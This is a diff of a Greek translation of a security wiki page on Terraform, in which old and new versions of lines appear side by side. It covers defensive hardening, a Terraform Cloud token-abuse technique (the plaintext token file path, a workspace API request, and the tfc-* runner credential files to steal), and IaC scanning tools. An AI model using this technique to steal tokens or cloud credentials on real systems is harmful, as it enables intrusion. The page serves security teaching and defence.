- Περιορίστε την άδεια `plan` σε ευαίσθητους χώρους εργασίας που υποστηρίζονται από VCS όπου είναι εφικτό.
|
||||
- Επιβάλετε λίστες επιτρεπόμενων παρόχων/πηγών δεδομένων με πολιτικές Sentinel για να μπλοκάρετε τους `data "external"` ή άγνωστους παρόχους. Δείτε τις οδηγίες της HashiCorp σχετικά με την φιλτράρισμα παρόχων.
|
||||
- Προτιμήστε OIDC/WIF αντί για στατικά διαπιστευτήρια cloud; θεωρήστε τους runners ως ευαίσθητους. Παρακολουθήστε τις υποθετικές εκτελέσεις σχεδίων και την απροσδόκητη έξοδο.
|
||||
- Ανιχνεύστε την εξαγωγή των `tfc-*` διαπιστευτηρίων και ειδοποιήστε για ύποπτη χρήση προγραμμάτων `external` κατά τη διάρκεια των σχεδίων.
|
||||
- Defensive guidance:
|
||||
- Apply least privilege to TFC users/teams and tokens. Audit memberships and avoid oversized owners.
|
||||
- Περιορίστε την άδεια `plan` σε ευαίσθητα VCS-backed workspaces όπου είναι εφικτό.
|
||||
- Επιβάλετε provider/data source allowlists με Sentinel policies για να μπλοκάρετε `data "external"` ή άγνωστους providers. Δείτε τις οδηγίες της HashiCorp για provider filtering.
|
||||
- Προτιμήστε OIDC/WIF αντί για στατικά cloud credentials· θεωρήστε τους runners ευαίσθητους. Παρακολουθήστε speculative plan runs και απρόσμενη egress.
|
||||
- Ανιχνεύστε exfiltration των `tfc-*` credential artifacts και ειδοποιήστε για ύποπτη χρήση του `external` προγράμματος κατά τη διάρκεια των plans.
|
||||
|
||||
## Αυτόματα Εργαλεία Ελέγχου
|
||||
|
||||
## Παραβίαση του Terraform Cloud
|
||||
|
||||
### Χρήση token
|
||||
|
||||
As **[explained in this post](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)**, terraform CLI stores tokens in plaintext at **`~/.terraform.d/credentials.tfrc.json`**. Η κλοπή αυτού του token επιτρέπει σε έναν επιτιθέμενο να μιμηθεί τον χρήστη εντός του scope του token.
|
||||
|
||||
Χρησιμοποιώντας αυτό το token, είναι δυνατό να αποκτήσετε το org/workspace με:
|
||||
```bash
|
||||
GET https://app.terraform.io/api/v2/organizations/acmecorp/workspaces/gcp-infra-prod
|
||||
Authorization: Bearer <TF_TOKEN>
|
||||
```
|
||||
Τότε είναι δυνατό να εκτελεστεί αυθαίρετος κώδικας χρησιμοποιώντας **`terraform plan`** όπως εξηγήθηκε στο προηγούμενο κεφάλαιο.
|
||||
|
||||
### Απόδραση στο cloud
|
||||
|
||||
Στη συνέχεια, αν ο runner βρίσκεται σε κάποιο cloud περιβάλλον, είναι δυνατό να αποκτηθεί ένα token του principal που είναι συνδεδεμένος με τον runner και να χρησιμοποιηθεί out of band.
|
||||
|
||||
- **GCP files (παρόντα στον τρέχοντα working directory της εκτέλεσης)**
|
||||
- `tfc-google-application-credentials` — JSON config για Workload Identity Federation (WIF) που λέει στο Google πώς να ανταλλάξει την εξωτερική ταυτότητα.
|
||||
- `tfc-gcp-token` — βραχυπρόθεσμο (≈1 hour) GCP access token που αναφέρεται από το παραπάνω
|
||||
|
||||
- **AWS files**
|
||||
- `tfc-aws-shared-config` — JSON για web identity federation/OIDC role assumption (προτιμώμενο σε σχέση με στατικά κλειδιά).
|
||||
- `tfc-aws-token` — βραχυπρόθεσμο token, ή ενδεχομένως στατικά IAM keys εάν είναι λανθασμένα διαμορφωμένα.
|
||||
|
||||
|
||||
## Εργαλεία Αυτόματου Ελέγχου
|
||||
|
||||
### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/)
|
||||
|
||||
Η Snyk προσφέρει μια ολοκληρωμένη λύση σάρωσης Infrastructure as Code (IaC) που ανιχνεύει ευπάθειες και κακές ρυθμίσεις σε Terraform, CloudFormation, Kubernetes και άλλες μορφές IaC.
|
||||
Η Snyk προσφέρει μια ολοκληρωμένη λύση σάρωσης Infrastructure as Code (IaC) που εντοπίζει ευπάθειες και λανθασμένες διαμορφώσεις σε Terraform, CloudFormation, Kubernetes, και άλλες μορφές IaC.
|
||||
|
||||
- **Χαρακτηριστικά:**
|
||||
- Σάρωση σε πραγματικό χρόνο για ευπάθειες ασφαλείας και ζητήματα συμμόρφωσης.
|
||||
- Ενσωμάτωση με συστήματα ελέγχου εκδόσεων (GitHub, GitLab, Bitbucket).
|
||||
- Αυτοματοποιημένα pull requests διόρθωσης.
|
||||
- Σάρωση σε πραγματικό χρόνο για ευπάθειες ασφάλειας και ζητήματα συμμόρφωσης.
|
||||
- Ενσωμάτωση με συστήματα ελέγχου έκδοσης (GitHub, GitLab, Bitbucket).
|
||||
- Αυτοματοποιημένα pull requests επιδιόρθωσης.
|
||||
- Λεπτομερείς συμβουλές αποκατάστασης.
|
||||
- **Εγγραφή:** Δημιουργήστε έναν λογαριασμό στο [Snyk](https://snyk.io/).
|
||||
```bash
|
||||
@@ -292,28 +319,28 @@ snyk iac test /path/to/terraform/code
|
||||
```
|
||||
### [Checkov](https://github.com/bridgecrewio/checkov) <a href="#install-checkov-from-pypi" id="install-checkov-from-pypi"></a>
|
||||
|
||||
**Checkov** είναι ένα εργαλείο στατικής ανάλυσης κώδικα για υποδομές ως κώδικα (IaC) και επίσης ένα εργαλείο ανάλυσης σύνθεσης λογισμικού (SCA) για εικόνες και πακέτα ανοιχτού κώδικα.
|
||||
**Checkov** είναι ένα εργαλείο στατικής ανάλυσης κώδικα για infrastructure as code (IaC) και επίσης ένα εργαλείο software composition analysis (SCA) για εικόνες και πακέτα ανοιχτού κώδικα.
|
||||
|
||||
Σαρώσει την υποδομή cloud που παρέχεται χρησιμοποιώντας [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), ή [OpenTofu](https://opentofu.org/) και ανιχνεύει παραβιάσεις ασφάλειας και συμμόρφωσης χρησιμοποιώντας σάρωση βασισμένη σε γράφους.
|
||||
Σαρώνει υποδομές cloud που παρέχονται χρησιμοποιώντας [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), or [OpenTofu](https://opentofu.org/) και ανιχνεύει σφάλματα διαμόρφωσης που αφορούν την ασφάλεια και τη συμμόρφωση χρησιμοποιώντας graph-based scanning.
|
||||
|
||||
Εκτελεί [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) που είναι μια σάρωση ανοιχτών πακέτων και εικόνων για Κοινές Ευπάθειες και Εκθέσεις (CVEs).
|
||||
Εκτελεί [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) το οποίο είναι σάρωση πακέτων ανοιχτού κώδικα και εικόνων για Common Vulnerabilities and Exposures (CVEs).
|
||||
```bash
|
||||
pip install checkov
|
||||
checkov -d /path/to/folder
|
||||
```
|
||||
### [terraform-compliance](https://github.com/terraform-compliance/cli)
|
||||
|
||||
Από τα [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` είναι ένα ελαφρύ, επικεντρωμένο στην ασφάλεια και τη συμμόρφωση πλαίσιο δοκιμών κατά του terraform για να επιτρέψει τη δυνατότητα αρνητικής δοκιμής για την υποδομή σας ως κώδικα.
|
||||
From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` είναι ένα ελαφρύ πλαίσιο δοκιμών εστιασμένο στην ασφάλεια και τη συμμόρφωση για το terraform, που επιτρέπει τη δυνατότητα αρνητικής δοκιμής για την υποδομή-ως-κώδικα σας.
|
||||
|
||||
- **συμμόρφωση:** Διασφαλίστε ότι ο υλοποιημένος κώδικας ακολουθεί τα πρότυπα ασφαλείας, τα δικά σας προσαρμοσμένα πρότυπα
|
||||
- **ανάπτυξη με βάση τη συμπεριφορά:** Έχουμε BDD για σχεδόν τα πάντα, γιατί όχι για IaC;
|
||||
- **φορητό:** απλά εγκαταστήστε το από το `pip` ή εκτελέστε το μέσω `docker`. Δείτε [Εγκατάσταση](https://terraform-compliance.com/pages/installation/)
|
||||
- **προ-ανάπτυξη:** επικυρώνει τον κώδικά σας πριν αναπτυχθεί
|
||||
- **εύκολη ενσωμάτωση:** μπορεί να εκτελείται στη ροή σας (ή σε git hooks) για να διασφαλίσει ότι όλες οι αναπτύξεις είναι επικυρωμένες.
|
||||
- **διαχωρισμός καθηκόντων:** μπορείτε να διατηρήσετε τις δοκιμές σας σε ένα διαφορετικό αποθετήριο όπου μια ξεχωριστή ομάδα είναι υπεύθυνη.
|
||||
- **compliance:** Διασφαλίζει ότι ο υλοποιημένος κώδικας ακολουθεί πρότυπα ασφάλειας και τα δικά σας προσαρμοσμένα πρότυπα
|
||||
- **behaviour driven development:** Έχουμε BDD για σχεδόν τα πάντα, γιατί όχι και για IaC ;
|
||||
- **portable:** απλώς εγκαταστήστε το από `pip` ή τρέξτε το μέσω `docker`. See [Installation](https://terraform-compliance.com/pages/installation/)
|
||||
- **pre-deploy:** επικυρώνει τον κώδικά σας πριν αναπτυχθεί
|
||||
- **easy to integrate:** μπορεί να τρέξει στο pipeline σας (ή σε git hooks) για να διασφαλίσει ότι όλες οι αναπτύξεις είναι επικυρωμένες.
|
||||
- **segregation of duty:** μπορείτε να κρατήσετε τα tests σας σε διαφορετικό repository όπου μια ξεχωριστή ομάδα είναι υπεύθυνη.
|
||||
|
||||
> [!NOTE]
|
||||
> Δυστυχώς, αν ο κώδικας χρησιμοποιεί κάποιους παρόχους στους οποίους δεν έχετε πρόσβαση, δεν θα μπορείτε να εκτελέσετε το `terraform plan` και να τρέξετε αυτό το εργαλείο.
|
||||
> Δυστυχώς, εάν ο κώδικας χρησιμοποιεί κάποιους providers στους οποίους δεν έχετε πρόσβαση, δεν θα μπορείτε να εκτελέσετε το `terraform plan` και να τρέξετε αυτό το εργαλείο.
|
||||
```bash
|
||||
pip install terraform-compliance
|
||||
terraform plan -out=plan.out
|
||||
@@ -321,40 +348,53 @@ terraform-compliance -f /path/to/folder
|
||||
```
|
||||
### [tfsec](https://github.com/aquasecurity/tfsec)
|
||||
|
||||
Από τα [**docs**](https://github.com/aquasecurity/tfsec): το tfsec χρησιμοποιεί στατική ανάλυση του κώδικα terraform σας για να εντοπίσει πιθανές κακές ρυθμίσεις.
|
||||
Από τα [**docs**](https://github.com/aquasecurity/tfsec): το tfsec χρησιμοποιεί στατική ανάλυση του terraform κώδικά σας για να εντοπίσει πιθανές λανθασμένες ρυθμίσεις.
|
||||
|
||||
- ☁️ Ελέγχει για κακές ρυθμίσεις σε όλους τους κύριους (και μερικούς δευτερεύοντες) παρόχους cloud
|
||||
- ☁️ Ελέγχει για λανθασμένες ρυθμίσεις σε όλους τους μεγάλους (και κάποιους μικρότερους) παρόχους cloud
|
||||
- ⛔ Εκατοντάδες ενσωματωμένοι κανόνες
|
||||
- 🪆 Σαρώσεις μονάδων (τοπικών και απομακρυσμένων)
|
||||
- ➕ Αξιολογεί εκφράσεις HCL καθώς και κυριολεκτικές τιμές
|
||||
- ↪️ Αξιολογεί συναρτήσεις Terraform π.χ. `concat()`
|
||||
- 🔗 Αξιολογεί σχέσεις μεταξύ πόρων Terraform
|
||||
- 🪆 Σκανάρει modules (τοπικά και απομακρυσμένα)
|
||||
- ➕ Αξιολογεί εκφράσεις HCL καθώς και literal τιμές
|
||||
- ↪️ Αξιολογεί Terraform functions π.χ. `concat()`
|
||||
- 🔗 Αξιολογεί σχέσεις μεταξύ Terraform resources
|
||||
- 🧰 Συμβατό με το Terraform CDK
|
||||
- 🙅 Εφαρμόζει (και εμπλουτίζει) πολιτικές Rego που ορίζονται από τον χρήστη
|
||||
- 📃 Υποστηρίζει πολλαπλές μορφές εξόδου: lovely (προεπιλογή), JSON, SARIF, CSV, CheckStyle, JUnit, κείμενο, Gif.
|
||||
- 🛠️ Ρυθμιζόμενο (μέσω CLI flags και/ή αρχείου ρυθμίσεων)
|
||||
- ⚡ Πολύ γρήγορο, ικανό να σαρώσει γρήγορα τεράστιες αποθήκες
|
||||
- 🙅 Εφαρμόζει (και εμπλουτίζει) user-defined Rego policies
|
||||
- 📃 Υποστηρίζει πολλαπλές μορφές εξόδου: lovely (default), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif.
|
||||
- 🛠️ Ρυθμιζόμενο (μέσω CLI flags και/ή αρχείου config)
|
||||
- ⚡ Πολύ γρήγορο, ικανό να σκανάρει γρήγορα τεράστια repositories
|
||||
```bash
|
||||
brew install tfsec
|
||||
tfsec /path/to/folder
|
||||
```
|
||||
### [terrascan](https://github.com/tenable/terrascan)
|
||||
|
||||
Το Terrascan είναι ένας στατικός code analyzer για Infrastructure as Code. Το Terrascan σας επιτρέπει:
|
||||
|
||||
- Σαρώνει απρόσκοπτα την infrastructure as code για λανθασμένες ρυθμίσεις.
|
||||
- Παρακολουθεί την παρεχόμενη cloud infrastructure για αλλαγές στη διαμόρφωση που εισάγουν posture drift, και επιτρέπει την επαναφορά σε ασφαλή κατάσταση.
|
||||
- Εντοπίζει ευπάθειες ασφαλείας και παραβιάσεις συμμόρφωσης.
|
||||
- Μειώνει τους κινδύνους πριν την παροχή cloud native infrastructure.
|
||||
- Προσφέρει ευελιξία για εκτέλεση τοπικά ή ενσωμάτωση με το CI\CD σας.
|
||||
```bash
|
||||
brew install terrascan
|
||||
terrascan scan -d /path/to/folder
|
||||
```
|
||||
### [KICKS](https://github.com/Checkmarx/kics)
|
||||
|
||||
Βρείτε ευπάθειες ασφαλείας, ζητήματα συμμόρφωσης και κακώς διαμορφωμένες υποδομές νωρίς στον κύκλο ανάπτυξης της υποδομής σας ως κώδικα με το **KICS** από την Checkmarx.
|
||||
Εντοπίστε ευπάθειες ασφαλείας, ζητήματα συμμόρφωσης και λανθασμένες διαμορφώσεις υποδομής νωρίς στον κύκλο ανάπτυξης της infrastructure-as-code σας με το **KICS** από την Checkmarx.
|
||||
|
||||
**KICS** σημαίνει **K**eeping **I**nfrastructure as **C**ode **S**ecure, είναι ανοιχτού κώδικα και είναι απαραίτητο για οποιοδήποτε έργο cloud native.
|
||||
**KICS** σημαίνει **K**eeping **I**nfrastructure as **C**ode **S**ecure, είναι ανοιχτού κώδικα και απαραίτητο για κάθε cloud native project.
|
||||
```bash
|
||||
docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
|
||||
```
|
||||
### [Terrascan](https://github.com/tenable/terrascan)
|
||||
|
||||
Από τα [**docs**](https://github.com/tenable/terrascan): Το Terrascan είναι ένας στατικός αναλυτής κώδικα για το Infrastructure as Code. Το Terrascan σας επιτρέπει να:
|
||||
From the [**docs**](https://github.com/tenable/terrascan): Terrascan is a static code analyzer for Infrastructure as Code. Terrascan allows you to:
|
||||
|
||||
- Σαρώσετε χωρίς προβλήματα το infrastructure as code για κακές ρυθμίσεις.
|
||||
- Παρακολουθείτε την παρεχόμενη υποδομή cloud για αλλαγές ρυθμίσεων που εισάγουν απόκλιση στάσης και επιτρέπει την επιστροφή σε μια ασφαλή στάση.
|
||||
- Ανιχνεύετε ευπάθειες ασφαλείας και παραβιάσεις συμμόρφωσης.
|
||||
- Μειώνετε τους κινδύνους πριν από την παροχή υποδομής cloud native.
|
||||
- Προσφέρει ευελιξία για εκτέλεση τοπικά ή ενσωμάτωσης με το CI\CD σας.
|
||||
- Σάρωση του Infrastructure as Code για λανθασμένες διαμορφώσεις.
|
||||
- Παρακολούθηση της provisioned cloud υποδομής για αλλαγές διαμόρφωσης που εισάγουν posture drift, και δυνατότητα επαναφοράς σε ασφαλή κατάσταση.
|
||||
- Ανίχνευση ευπαθειών ασφαλείας και παραβάσεων συμμόρφωσης.
|
||||
- Μείωση κινδύνων πριν την προμήθεια cloud native υποδομής.
|
||||
- Προσφέρει ευελιξία για εκτέλεση τοπικά ή ενσωμάτωση με το CI\CD σας.
|
||||
```bash
|
||||
brew install terrascan
|
||||
```
|
||||
@@ -365,13 +405,13 @@ brew install terrascan
|
||||
- [https://developer.hashicorp.com/terraform/intro](https://developer.hashicorp.com/terraform/intro)
|
||||
- [https://blog.plerion.com/hacking-terraform-state-privilege-escalation/](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/)
|
||||
- [https://github.com/offensive-actions/terraform-provider-statefile-rce](https://github.com/offensive-actions/terraform-provider-statefile-rce)
|
||||
- [Terraform Cloud token abuse turns speculative plan into remote code execution](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)
|
||||
- [Terraform Cloud permissions](https://developer.hashicorp.com/terraform/cloud-docs/users-teams-organizations/permissions)
|
||||
- [Terraform Cloud API – Show workspace](https://developer.hashicorp.com/terraform/cloud-docs/api-docs/workspaces#show-workspace)
|
||||
- [AWS provider configuration](https://registry.terraform.io/providers/hashicorp/aws/latest/docs#provider-configuration)
|
||||
- [AWS CLI – OIDC role assumption](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html#cli-configure-role-oidc)
|
||||
- [GCP provider – Using Terraform Cloud](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference.html#using-terraform-cloud)
|
||||
- [Terraform – Sensitive variables](https://developer.hashicorp.com/terraform/tutorials/configuration-language/sensitive-variables)
|
||||
- [Snyk Labs – Gitflops: dangers of Terraform automation platforms](https://labs.snyk.io/resources/gitflops-dangers-of-terraform-automation-platforms/)
|
||||
- [Κατάχρηση token στο Terraform Cloud που μετατρέπει speculative plan σε remote code execution](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)
|
||||
- [Δικαιώματα Terraform Cloud](https://developer.hashicorp.com/terraform/cloud-docs/users-teams-organizations/permissions)
|
||||
- [Terraform Cloud API – Εμφάνιση workspace](https://developer.hashicorp.com/terraform/cloud-docs/api-docs/workspaces#show-workspace)
|
||||
- [Διαμόρφωση AWS provider](https://registry.terraform.io/providers/hashicorp/aws/latest/docs#provider-configuration)
|
||||
- [AWS CLI – Ανάληψη ρόλου OIDC](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html#cli-configure-role-oidc)
|
||||
- [GCP provider – Χρήση Terraform Cloud](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference.html#using-terraform-cloud)
|
||||
- [Terraform – Ευαίσθητες μεταβλητές](https://developer.hashicorp.com/terraform/tutorials/configuration-language/sensitive-variables)
|
||||
- [Snyk Labs – Gitflops: κίνδυνοι των πλατφορμών αυτοματοποίησης Terraform](https://labs.snyk.io/resources/gitflops-dangers-of-terraform-automation-platforms/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user